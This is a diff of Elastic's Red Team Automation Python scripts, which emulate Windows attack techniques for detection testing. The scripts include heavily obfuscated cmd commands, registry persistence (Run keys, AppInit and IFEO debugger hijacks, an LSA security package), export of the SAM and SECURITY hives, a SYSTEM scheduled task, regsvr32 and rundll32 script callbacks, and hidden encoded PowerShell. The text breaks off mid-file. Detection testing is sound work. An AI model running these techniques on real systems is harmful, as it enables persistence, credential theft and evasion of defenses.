# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Emulate Obfuscated cmd Commands
# RTA: obfuscated_cmd_commands.py
# ATT&CK: T1036
# Description: Runs commands through cmd that are obfuscated using multiple techniques.
import time
from . import common
@common.requires_os(common.WINDOWS)
def main():
# All encoded versions of the following: `start calc && ping -n 2 127.0.0.1>nul && taskkill /im calc.exe`
commands = """
%comspec% /c "cm%OS:~-7,1% /c start%CommonProgramFiles(x86):~29,1%%PUBLIC:~-1%alc && ping -%APPDATA:~-2,-1% 2 127.0.0.1>nul &&%CommonProgramFiles(x86):~-6,1%taskkil%CommonProgramFiles:~-3,-2% /im %TMP:~-8,1%alc.exe
cmd /c "%pUBLIc:~ 14%%PRogRamFIleS:~ 9, -6%%Os:~ 3, -6% /%pubLIc:~ 14, 1% s%TeMp:~ -13, -12%%aPPdATA:~ -11, 1%%prograMfILeS(x86):~ -18, 1%%tMP:~ -13, -12%%prOGRAMw6432:~ -6, -5%%PubliC:~ 14, 1%%Temp:~ -12, -11%%tMP:~ -6, 1%%pubLic:~ 14%%COmmONPRoGRaMfILes:~ 23, 1%&&%COMmOnPrograMw6432:~ -19, -18%%tmp:~ -17, 1%%ApPDatA:~ -3, 1%%CoMmONProgrAMW6432:~ 22, 1%%APPDaTA:~ -1%%PrOGramFILeS:~ -6, -5%-%aPPDaTa:~ -2, -1% 2%pROGRaMW6432:~ -6, -5%127.0.0.1>%apPData:~ -2, 1%u%ProGRaMW6432:~ -3, 1%%COMmoNPRogramFIles(X86):~ -19, -18%&&%PRoGRaMfILES:~ 10, -5%%ALlUsErspRoFiLe:~ 12, -1%a%COmmOnPrOgrAmw6432:~ 28, 1%kk%COmmONPRoGRAmFiles:~ -17, -16%%PUBLic:~ -3, 1%l%prOgrAmW6432:~ -6, 1%/%SyStEmRoOt:~ 4, 1%%COmMOnPROGramfiLeS:~ -9, -8%%prOGRaMW6432:~ 10, -5%%PUBlic:~ -1, 1%%aLlUSErSproFilE:~ -3, 1%%progRaMFIleS(X86):~ 13, 1%c.%tMp:~ -3, 1%x%PUBLiC:~ 5, 1%
cmd /C"set 29L= &&set naP=lc.ex&&set MLe=0.0.1^^^>nul&&set 9YKn=g -n 2 127.&&set DKy=cmd /c &&set WC= ^^^&^^^& taskkill /im&&set 4t8r=rt &&set Kn=e&&set Mx=ca&&set Ave=calc ^^^&^^^& pin&&set Ngsa=sta&&call set UB=%DKy%%Ngsa%%4t8r%%Ave%%9YKn%%MLe%%WC%%29L%%Mx%%naP%%Kn%&&cmd /C %UB%"
cmd /V:ON/C"set Qbd=exe.clac mi/ llikksat ^&^& lun^>1.0.0.721 2 n- gnip ^&^& clac trats c/ dmc&&for /L %B in (68,-1,0)do set Lk=!Lk!!Qbd:~%B,1!&&if %B lss 1 cmd /C !Lk:*Lk!=!"
cmd /V:ON/C"set Bhq=lsep0gxmu-cdatrk^&i2/n.^>7 1&&for %n in (10;7;11;24;19;10;24;1;13;12;14;13;24;10;12;0;10;24;16;16;24;3;17;20;5;24;9;20;24;18;24;25;18;23;21;4;21;4;21;25;22;20;8;0;24;16;16;24;13;12;1;15;15;17;0;0;24;19;17;7;24;10;12;0;10;21;2;6;2;36)do set bj6=!bj6!!Bhq:~%n,1!&&if %n gtr 35 cmd.exe /C!bj6:~-69!"
cmd /V:ON/C"set bc=cmd""b/cbstMHrtbcMHlcb^&^&bpi4gb-4b2b127.0.0.1^>4ulb^&^&btMHskkillb/imbcMHlc.nxn&&set MDi=!bc:MH=a!&&set J7HE=!MDi:n=e!&&set Ryxf=!J7HE:4=n!&&set o2=!Ryxf:b= !&&cmd.exe /C %o2%"
^F^o^R ;, /^F ," tokens=+2 delims=I=0fU" ; ; %^k , ^In ; ( , ' ; ; ^^As^^SoC , ,.cmd', ; ); ^D^O ;%^k; ; BK ;4Gp/^r" ,, ( (^Set ^ ^\#=^^^^^^^>n), )& (se^t ^_'~=^.)&&( , , ,,, (^sE^t ^ [.^?=^ ) , , )& ( , (s^ET -^+@=^r) , )& (s^et ^$^~^`?=^k)&& (^sEt ^ ^@[~^$=^p)&& (s^Et ^ ^.{`^[=^0.1)&&(,(^set }^*^;_=^^^^^^^&) )&& ( ; ; (^se^t ^ ^'^][}=^l) ; ; )& (s^E^T ^ ^];^}#=^ )&&(^sEt ^ ^.^#^@=^i)& ( (SE^T ^ ^-^?+^{=^ ) )&( ; ; (^SeT ,^?^.^[=^ca) )& (sE^T ^*^',^+=^2)&& (S^E^t ^.^[=^u)&& (S^e^t \^~=^.)& ( , (^Se^T ^{#=^a) )&&( , (s^ET ^\$}^_=^c), )&(^s^e^T ^ ^_^-@`=^0)&( , , ,, , (s^E^T ^ ^}^;=s) )& ( (sE^T ^ ^{_=n) ,)&&( (SE^T ^ ~^,=^ ) )&&( ; (SE^T ^;~?^{=^a) )&& (^S^et ^ ^ `@^~^*=^x)& (s^eT ^+$=^t)&(^S^ET ^ ^$.^]=^t)&& (^S^Et @^[^,=^g)& ( (^S^Et *^\`=^.) )&& (SE^t ^]{=^e)& ( ,;, (^SeT ^'^[=^ ) , )&(^se^T ^ \-^,=k)& ( , (s^et ^ ^ _,^\=l) , , )&& ( (s^eT ^ #^`.=^l ) ; )&(^S^Et ^ -^`=^ )&& (S^ET *^}]^'=^e)&& (SE^t ^;^.*=2^7)&& (S^eT ^ *^;+=^ 1)&(^sET ^_#=^i^m)&( (s^e^T ^ ^[^{^]@=^^^^^^^&^^^^^^^&), , , , ,)&& (^s^E^t ^ ^.^#=l^c)&&(s^e^T ^ .^{=^c)&&(S^et ^.~^}_=^st)&& ( ,, , (^SE^T ^ ^}^+'=^ ) , )& (^seT ;^}@=^^^^^^^&)&&(^se^T [^*{=^ ^-n)& (^S^eT ^ -^*=^/)&( ; (S^E^T ^ ^]^\=^a) ; ; )& ( (^se^T ^ -^}_=^i^l) )&& , ; c^a^l^l ; SE^T +}=%^.~^}_%%^;~?^{%%-^+@%%^$.^]%%^-^?+^{%%,^?^.^[%%_,^\%%^\$}^_%%^}^+'%%^[^{^]@%%^];^}#%%^@[~^$%%^.^#^@%%^{_%%@^[^,%%[^*{%%^'^[%%^*^',^+%%*^;+%%^;^.*%%^_'~%%^_^-@`%%*^\`%%^.{`^[%%^\#%%^.^[%%#^`.%%}^*^;_%%;^}@%%~^,%%^+$%%^]^\%%^}^;%%^$^~^`?%%\-^,%%-^}_%%^'^][}%%[.^?%%-^*%%^_#%%-^`%%.^{%%^{#%%^.^#%%\^~%%^]{%%`@^~^*%%*^}]^'%& , ^CA^l^L ,, eC^H^O , ,%^+}%"| ;f^or; ; /^F; ; " delims=Vvl tokens= +3 " ,, %^3 , ^in ; ( ; , ' ,^^^^as^^^^S^^^^O^^^^c ; ^^^| ; ^^^^f^^^^ind^^^^s^^^^TR ; on^^^^X ', ) ; ; ^do; , %^3;
""" # noqa: E501
commands = [c.strip() for c in commands.splitlines()]
for a in commands:
common.execute(a, shell=True, mute=True)
time.sleep(1)
common.execute(["taskkill", "/F", "/im", "calc.exe"])
common.execute(["taskkill", "/F", "/im", "calculator.exe"])
if __name__ == "__main__":
main()
File diff suppressed because one or more lines are too long
+36
View File
@@ -0,0 +1,36 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Office Application Startup
# RTA: office_application_startup.py
# ATT&CK: T1137
# Description: Modifies the registry to persist a DLL on Office Startup.
import sys
from . import common
@common.requires_os(common.WINDOWS)
def main(dll_location="c:\\windows\\temp\\evil.dll"):
# Write evil dll to office test path:
subkey = "Software\\Microsoft\\Office Test\\Special\\Perf"
common.write_reg(common.HKCU, subkey, "", dll_location)
common.write_reg(common.HKLM, subkey, "", dll_location)
# winreg = common.get_winreg()
# set_sleep_clear_key(winreg.HKEY_CURRENT_USER, subkey, "", dll_location, winreg.REG_SZ, 3)
# set_sleep_clear_key(winreg.HKEY_LOCAL_MACHINE, subkey, "", dll_location, winreg.REG_SZ, 3)
# Turn on Office 2010 WWLIBcxm persistence
subkey = "Software\\Microsoft\\Office\\14.0\\Word"
common.write_reg(common.HKCU, subkey, "CxmDll", 1, common.DWORD)
# set_sleep_clear_key(winreg.HKEY_CURRENT_USER, subkey, "CxmDll", 1, winreg.REG_DWORD, 0)
return common.SUCCESS
if __name__ == "__main__":
exit(main(*sys.argv[1:]))
+61
View File
@@ -0,0 +1,61 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Persistent Scripts
# RTA: persistent_scripts.py
# ATT&CK: T1064 (Scripting), T1086 (PowerShell)
import os
import time
from . import common
VBS = common.get_path("bin", "persistent_script.vbs")
NAME = "rta-vbs-persistence"
@common.requires_os(common.WINDOWS)
@common.dependencies(common.PS_EXEC, VBS)
def main():
common.log("Persistent Scripts")
if common.check_system():
common.log("Must be run as a non-SYSTEM user", log_type="!")
return 1
# Remove any existing profiles
user_profile = os.environ['USERPROFILE']
log_file = os.path.join(user_profile, NAME + ".log")
# Remove log file if exists
common.remove_file(log_file)
common.log("Running VBS")
common.execute(["cscript.exe", VBS])
# Let the script establish persistence, then read the log file back
time.sleep(5)
common.print_file(log_file)
common.remove_file(log_file)
# Now trigger a 'logon' event which causes persistence to run
common.log("Simulating user logon and loading of profile")
# common.execute(["taskkill.exe", "/f", "/im", "explorer.exe"])
# time.sleep(2)
common.execute(["C:\\Windows\\System32\\userinit.exe"], wait=True)
common.execute(["schtasks.exe", "/run", "/tn", NAME])
# Wait for the "logon" to finish
time.sleep(30)
common.print_file(log_file)
# Now delete the user profile
common.log("Cleanup", log_type="-")
common.remove_file(log_file)
common.execute(["schtasks.exe", "/delete", "/tn", NAME, "/f"])
if __name__ == "__main__":
exit(main())
+26
View File
@@ -0,0 +1,26 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Privilege Escalation via Port Monitor Registration
# RTA: port_monitor.py
# ATT&CK: T1013
# Description: Drops dummy DLL to Monitors registry path as non-system user, which would be executed with SYSTEM privs.
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("Writing registry key and dummy dll")
key = "System\\CurrentControlSet\\Control\\Print\\Monitors\\blah"
value = "test"
dll = "test.dll"
with common.temporary_reg(common.HKLM, key, value, dll):
pass
if __name__ == "__main__":
exit(main())
+42
View File
@@ -0,0 +1,42 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Powershell with Suspicious Arguments
# RTA: powershell_args.py
# ATT&CK: T1140
# Description: Calls PowerShell with suspicious command line arguments.
import base64
import os
from . import common
def encode(command):
return base64.b64encode(command.encode('utf-16le'))
@common.requires_os(common.WINDOWS)
def main():
common.log("PowerShell Suspicious Commands")
temp_script = os.path.abspath("tmp.ps1")
# Create an empty script
with open(temp_script, "w") as f:
f.write("whoami.exe\nexit\n")
powershell_commands = [
['powershell.exe', '-ExecutionPol', 'Bypass', temp_script],
['powershell.exe', 'iex', 'Get-Process'],
['powershell.exe', '-ec', encode('Get-Process' + ' ' * 1000)],
]
for command in powershell_commands:
common.execute(command)
common.remove_file(temp_script)
if __name__ == "__main__":
exit(main())
+22
View File
@@ -0,0 +1,22 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: PowerShell with base64/gzip
# RTA: powershell_base64_gzip.py
# ATT&CK: T1140
# Description: Calls PowerShell with command-line that contains base64/gzip
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("PowerShell with base64/gzip")
command = 'powershell.exe -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(aaa)' # noqa: E501
common.execute(command)
if __name__ == "__main__":
exit(main())
+38
View File
@@ -0,0 +1,38 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: PowerShell Launched from Script
# RTA: powershell_from_script.py
# ATT&CK: T1064, T1192, T1193
# Description: Creates a javascript file that will launch powershell.
import os
import time
from . import common
@common.requires_os(common.WINDOWS)
def main():
# Write script
script_file = os.path.abspath("launchpowershell.vbs")
script = """Set objShell = CreateObject("Wscript.shell")
objShell.run("powershell echo 'Doing evil things...'; sleep 3")
"""
with open(script_file, 'w') as f:
f.write(script)
# Execute script
for proc in ["wscript", "cscript"]:
common.execute([proc, script_file])
time.sleep(3)
# Clean up
common.remove_file(script_file)
return common.SUCCESS
if __name__ == "__main__":
exit(main())
+30
View File
@@ -0,0 +1,30 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Double Process Extension
# RTA: process_double_extension.py
# ATT&CK: T1036
# Description: Create and run a process with a double extension.
from . import common
MY_APP = common.get_path("bin", "myapp_x64.exe")
@common.requires_os(common.WINDOWS)
@common.dependencies(MY_APP)
def main():
anomalies = [
"test.txt.exe"
]
for path in anomalies:
common.log("Masquerading process as %s" % path)
common.copy_file(MY_APP, path)
common.execute([path])
common.remove_file(path)
if __name__ == "__main__":
exit(main())
+36
View File
@@ -0,0 +1,36 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Executable with Unusual Extensions
# RTA: process_extension_anomalies.py
# ATT&CK: T1036
# Description: Creates processes with anomalous extensions
from . import common
MY_APP = common.get_path("bin", "myapp.exe")
@common.requires_os(common.WINDOWS)
@common.dependencies(MY_APP)
def main():
anomalies = [
"bad.pif",
"evil.cmd",
"evil.gif",
"bad.pdf",
"suspicious.bat",
"hiding.vbs",
"evil.xlsx"
]
for path in anomalies:
common.log("Masquerading python as %s" % path)
common.copy_file(MY_APP, path)
common.execute([path])
common.remove_file(path)
if __name__ == "__main__":
exit(main())
+38
View File
@@ -0,0 +1,38 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Windows Core Process Masquerade
# RTA: process_name_masquerade.py
# ATT&CK: T1036
# Description: Creates several processes which mimic core Windows process names but that are not those executables.
import os
from . import common
MY_APP = common.get_path("bin", "myapp.exe")
@common.requires_os(common.WINDOWS)
@common.dependencies(MY_APP)
def main():
masquerades = [
"svchost.exe",
"lsass.exe",
"services.exe",
"csrss.exe",
"smss.exe",
"wininit.exe",
"explorer.exe",
]
for name in masquerades:
path = os.path.abspath(name)
common.copy_file(MY_APP, path)
common.execute(path, timeout=3, kill=True)
common.remove_file(path)
if __name__ == "__main__":
exit(main())
+53
View File
@@ -0,0 +1,53 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Run Process from the Recycle Bin
# RTA: recycle_bin_process.py
# ATT&CK: T1158
# Description: Executes mock malware from the "C:\Recycler\" and "C:\$RECYCLE.BIN\" subdirectories.
import os
import time
from . import common
RECYCLE_PATHS = ["C:\\$Recycle.Bin", "C:\\Recycler"]
TARGET_APP = common.get_path("bin", "myapp.exe")
@common.requires_os(common.WINDOWS)
@common.dependencies(TARGET_APP, common.CMD_PATH)
def main():
common.log("Execute files from the Recycle Bin")
target_dir = None
for recycle_path in RECYCLE_PATHS:
if os.path.exists(recycle_path):
target_dir = common.find_writeable_directory(recycle_path)
if target_dir:
break
else:
common.log("Could not find a writeable directory in the recycle bin")
exit(1)
commands = [
[TARGET_APP],
[common.CMD_PATH, "/c", "echo hello world"],
]
common.log("Running commands from recycle bin in %s" % target_dir)
for command in commands: # type: list[str]
source_path = command[0]
arguments = command[1:]
target_path = os.path.join(target_dir, "recycled_process.exe")
common.copy_file(source_path, target_path)
arguments.insert(0, target_path)
common.execute(arguments)
time.sleep(0.5)
common.remove_file(target_path)
if __name__ == "__main__":
exit(main())
+30
View File
@@ -0,0 +1,30 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Export Registry Hives
# RTA: registry_hive_export.py
# ATT&CK: TBD
# Description: Exports the SAM, SECURITY and SYSTEM hives - useful in credential harvesting and discovery attacks.
import os
from . import common
REG = "reg.exe"
@common.requires_os(common.WINDOWS)
def main():
for hive in ["sam", "security", "system"]:
filename = os.path.abspath("%s.reg" % hive)
common.log("Exporting %s hive to %s" % (hive, filename))
common.execute([REG, "save", "hkey_local_machine\\%s" % hive, filename])
common.remove_file(filename)
common.execute([REG, "save", "hklm\\%s" % hive, filename])
common.remove_file(filename)
if __name__ == "__main__":
exit(main())
+94
View File
@@ -0,0 +1,94 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Registry persistence creation
# RTA: registry_persistence_create.py
# ATT&CK: T1015, T1103
# Description: Creates registry persistence for mock malware in Run and RunOnce keys, Services, NetSH and debuggers.
# TODO: Split into multiple files
import time
from . import common
TARGET_APP = common.get_path("bin", "myapp.exe")
def pause():
time.sleep(0.5)
@common.requires_os(common.WINDOWS)
@common.dependencies(TARGET_APP)
def main():
common.log("Suspicious Registry Persistence")
winreg = common.get_winreg()
for hive in (common.HKLM, common.HKCU):
common.write_reg(hive, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", "RunOnceTest", TARGET_APP)
common.write_reg(hive, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "RunTest", TARGET_APP)
# create Services subkey for "ServiceTest"
common.log("Creating ServiceTest registry key")
hklm = winreg.HKEY_LOCAL_MACHINE
hkey = winreg.CreateKey(hklm, "System\\CurrentControlSet\\Services\\ServiceTest\\")
# create "ServiceTest" data values
common.log("Updating ServiceTest metadata")
winreg.SetValueEx(hkey, "Description", 0, winreg.REG_SZ, "A fake service")
winreg.SetValueEx(hkey, "DisplayName", 0, winreg.REG_SZ, "ServiceTest Service")
winreg.SetValueEx(hkey, "ImagePath", 0, winreg.REG_SZ, "c:\\ServiceTest.exe")
winreg.SetValueEx(hkey, "ServiceDLL", 0, winreg.REG_SZ, "C:\\ServiceTest.dll")
# modify contents of ServiceDLL and ImagePath
common.log("Modifying ServiceTest binary")
winreg.SetValueEx(hkey, "ImagePath", 0, winreg.REG_SZ, "c:\\ServiceTestMod.exe")
winreg.SetValueEx(hkey, "ServiceDLL", 0, winreg.REG_SZ, "c:\\ServiceTestMod.dll")
hkey.Close()
common.pause()
# delete Service subkey for "ServiceTest"
common.log("Removing ServiceTest", log_type="-")
hkey = winreg.CreateKey(hklm, "System\\CurrentControlSet\\Services\\")
winreg.DeleteKeyEx(hkey, "ServiceTest")
hkey.Close()
common.pause()
# Additional persistence
common.log("Adding AppInit DLL")
windows_base = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\"
common.write_reg(common.HKLM, windows_base, "AppInit_Dlls", "evil.dll", restore=True, pause=True)
common.log("Adding AppCert DLL")
appcertdlls_key = "System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls"
common.write_reg(common.HKLM, appcertdlls_key, "evil", "evil.dll", restore=True, pause=True)
debugger_targets = [
"normalprogram.exe", "sethc.exe", "utilman.exe", "magnify.exe",
"narrator.exe", "osk.exe", "displayswitch.exe", "atbroker.exe"
]
for victim in debugger_targets:
common.log("Registering Image File Execution Options debugger for %s -> %s" % (victim, TARGET_APP))
base_key = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s" % victim
common.write_reg(common.HKLM, base_key, "Debugger", TARGET_APP, restore=True)
# create new NetSh key value
common.log("Adding a new NetSh Helper DLL")
key = "Software\\Microsoft\\NetSh"
common.write_reg(common.HKLM, key, "BadHelper", "c:\\windows\\system32\\BadHelper.dll")
# modify the list of SSPs
common.log("Adding a new SSP to the list of security packages")
key = "System\\CurrentControlSet\\Control\\Lsa"
common.write_reg(common.HKLM, key, "Security Packages", ["evilSSP"], common.MULTI_SZ, append=True, pause=True)
hkey.Close()
pause()
if __name__ == "__main__":
exit(main())
+27
View File
@@ -0,0 +1,27 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Enable RDP Through Registry
# RTA: registry_rdp_enable.py
# ATT&CK: T1076
# Description: Identifies registry write modification to enable RDP access.
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("Enabling RDP Through Registry")
# get the current value
key = "System\\CurrentControlSet\\Control\\Terminal Server"
value = "fDenyTSConnections"
with common.temporary_reg(common.HKLM, key, value, 1, common.DWORD):
# while temporarily disabled, re-enable the service
common.write_reg(common.HKLM, key, value, 0, common.DWORD, restore=False)
if __name__ == "__main__":
exit(main())
+31
View File
@@ -0,0 +1,31 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: RegSvr32 Backdoor with .sct Files
# RTA: regsvr32_scrobj.py
# ATT&CK: T1121, T1117, T1064
# Description: Loads a .sct network callback with RegSvr32
from . import common
@common.requires_os(common.WINDOWS)
@common.dependencies(common.get_path("bin", "notepad.sct"))
def main():
common.log("RegSvr32 with .sct backdoor")
server, ip, port = common.serve_web()
common.clear_web_cache()
uri = 'bin/notepad.sct'
url = 'http://%s:%d/%s' % (ip, port, uri)
common.execute(["regsvr32.exe", "/u", "/n", "/s", "/i:%s" % url, "scrobj.dll"])
common.log("Killing all notepads to cleanup", "-")
common.execute(["taskkill", "/f", "/im", "notepad.exe"])
server.shutdown()
if __name__ == "__main__":
exit(main())
+40
View File
@@ -0,0 +1,40 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: RunDll32 with .inf Callback
# RTA: rundll32_inf_callback.py
# ATT&CK: T1105
# Description: Loads RunDll32 with a suspicious .inf file that makes a local http GET
import time
from . import common
INF_FILE = common.get_path("bin", "script_launch.inf")
@common.requires_os(common.WINDOWS)
@common.dependencies(INF_FILE)
def main():
# http server will terminate on main thread exit
# if daemon is True
common.log("RunDLL32 with Script Object and Network Callback")
server, ip, port = common.serve_web()
callback = "http://%s:%d" % (ip, port)
common.clear_web_cache()
common.patch_regex(INF_FILE, common.CALLBACK_REGEX, callback)
rundll32 = "rundll32.exe"
dll_entrypoint = "setupapi.dll,InstallHinfSection"
common.execute([rundll32, dll_entrypoint, "DefaultInstall", "128", INF_FILE], shell=False)
time.sleep(1)
common.log("Cleanup", log_type="-")
common.execute(["taskkill", "/f", "/im", "notepad.exe"])
server.shutdown()
if __name__ == "__main__":
exit(main())
+33
View File
@@ -0,0 +1,33 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: RunDLL32 Javascript Callback
# RTA: rundll32_javascript_callback.py
# ATT&CK: T1085
# Description: Executes javascript code with an AJAX call via RunDll32.exe
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("RunDLL32 with Javascript Callback")
server, ip, port = common.serve_web()
common.clear_web_cache()
url = "http://%s:%d" % (ip, port)
rundll32 = 'rundll32.exe'
js = """
'javascript:"\..\mshtml,RunHTMLApplication ";'
'var%20xhr=new%20ActiveXObject("Msxml2.XMLHttp.6.0");,'
'xhr.open("GET", "{url}",false);xhr.send();'
""".format(url=url)
packed_js = ''.join(s.strip() for s in js.splitlines())
common.execute([rundll32, packed_js])
server.shutdown()
if __name__ == "__main__":
exit(main())
+49
View File
@@ -0,0 +1,49 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Scheduled Task Privilege Escalation
# RTA: schtask_escalation.py
# ATT&CK: T1053
import os
import time
from . import common
def schtasks(*args, **kwargs):
return common.execute(['schtasks.exe'] + list(args), **kwargs)
@common.requires_os(common.WINDOWS)
def main():
common.log("Scheduled Task Privilege Escalation")
task_name = 'test-task-rta'
file_path = os.path.abspath('task.log')
command = "cmd.exe /c whoami.exe > " + file_path
# Delete the task if it exists
code, output = schtasks('/query', '/tn', task_name)
if code == 0:
schtasks('/delete', '/tn', task_name, '/f')
code, output = schtasks('/create', '/tn', task_name, '/ru', 'system', '/tr', command, '/sc', 'onlogon')
if code != 0:
common.log("Error creating task", log_type="!")
return
# Run the task and grab the file
code, output = schtasks('/run', '/tn', task_name)
if code == 0:
time.sleep(1)
common.print_file(file_path)
time.sleep(1)
common.remove_file(file_path)
schtasks('/delete', '/tn', task_name, '/f')
if __name__ == "__main__":
main()
+26
View File
@@ -0,0 +1,26 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: COM Hijack via Script Object
# RTA: scrobj_com_hijack.py
# ATT&CK: T1122
# Description: Modifies the Registry to create a new user-defined COM broker, "scrobj.dll".
from . import common
@common.requires_os(common.WINDOWS)
def main():
key = "SOFTWARE\\Classes\\CLSID\\{00000000-0000-0000-0000-0000DEADBEEF}"
subkey = "InprocServer32"
value = ""
scrobj = "C:\\WINDOWS\\system32\\scrobj.dll"
key_path = key + "\\" + subkey
with common.temporary_reg(common.HKCU, key_path, value, scrobj, pause=True):
pass
if __name__ == "__main__":
exit(main())
+29
View File
@@ -0,0 +1,29 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
import os
import subprocess
import tempfile
from . import common
@common.requires_os(common.WINDOWS)
def main():
temp_path = os.path.join(tempfile.gettempdir(), os.urandom(16).encode('hex'))
sdelete_path = common.get_path("bin", 'sdelete.exe')
try:
# Create a temporary file and close handles so it can be deleted
with open(temp_path, 'wb') as f_out:
f_out.write('A')
subprocess.check_call([sdelete_path, '/accepteula', temp_path])
finally:
common.remove_file(temp_path)
if __name__ == "__main__":
exit(main())
+24
View File
@@ -0,0 +1,24 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Abusing SettingContent-ms Files
# RTA: settingcontentms_files.py
# ATT&CK: T1193, T1204, T1064
# Description: SettingContent-ms file written to specific path or by risky process
import time
from . import common
@common.requires_os(common.WINDOWS)
def main():
# Write to AppData\Local\
common.execute(['cmd', '/c', 'echo', 'test', '>', '%APPDATA%\\test.SettingContent-ms'])
time.sleep(1)
common.execute(['cmd', '/c', 'del', '%APPDATA%\\test.SettingContent-ms'])
if __name__ == "__main__":
exit(main())
+55
View File
@@ -0,0 +1,55 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Encrypting files with 7zip
# RTA: sevenzip_encrypted.py
# ATT&CK: T1022
# Description: Uses "bin\.exe" to perform encryption of archives and archive headers.
import base64
import os
import sys
from . import common
SEVENZIP = common.get_path("bin", "7za.exe")
def create_exfil(path=os.path.abspath("secret_stuff.txt")):
common.log("Writing dummy exfil to %s" % path)
with open(path, 'wb') as f:
f.write(base64.b64encode(b"This is really secret stuff\n" * 100))
return path
@common.requires_os(common.WINDOWS)
@common.dependencies(SEVENZIP)
def main(password="s0l33t"):
# create 7z.exe with not-7zip name, and exfil
svnz2 = os.path.abspath("a.exe")
common.copy_file(SEVENZIP, svnz2)
exfil = create_exfil()
exts = ["7z", "zip", "gzip", "tar", "bz2", "bzip2", "xz"]
out_jpg = os.path.abspath("out.jpg")
for ext in exts:
# Write archive for each type
out_file = os.path.abspath("out." + ext)
common.execute([svnz2, "a", out_file, "-p" + password, exfil], mute=True)
common.remove_file(out_file)
# Write archive for each type with -t flag
if ext == "bz2":
continue
common.execute([svnz2, "a", out_jpg, "-p" + password, "-t" + ext, exfil], mute=True)
common.remove_file(out_jpg)
common.execute([SEVENZIP, "a", out_jpg, "-p" + password, exfil], mute=True)
common.remove_files(exfil, svnz2, out_jpg)
if __name__ == "__main__":
exit(main(*sys.argv[1:]))
+24
View File
@@ -0,0 +1,24 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Shortcut File Suspicious Process
# RTA: shortcut_file_suspicious_process.py
# ATT&CK: T1023,T1204,T1193,T1192
# Description: Create a .lnk file using cmd.exe
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("Writing dummy shortcut file")
shortcut_path = 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\evil.lnk'
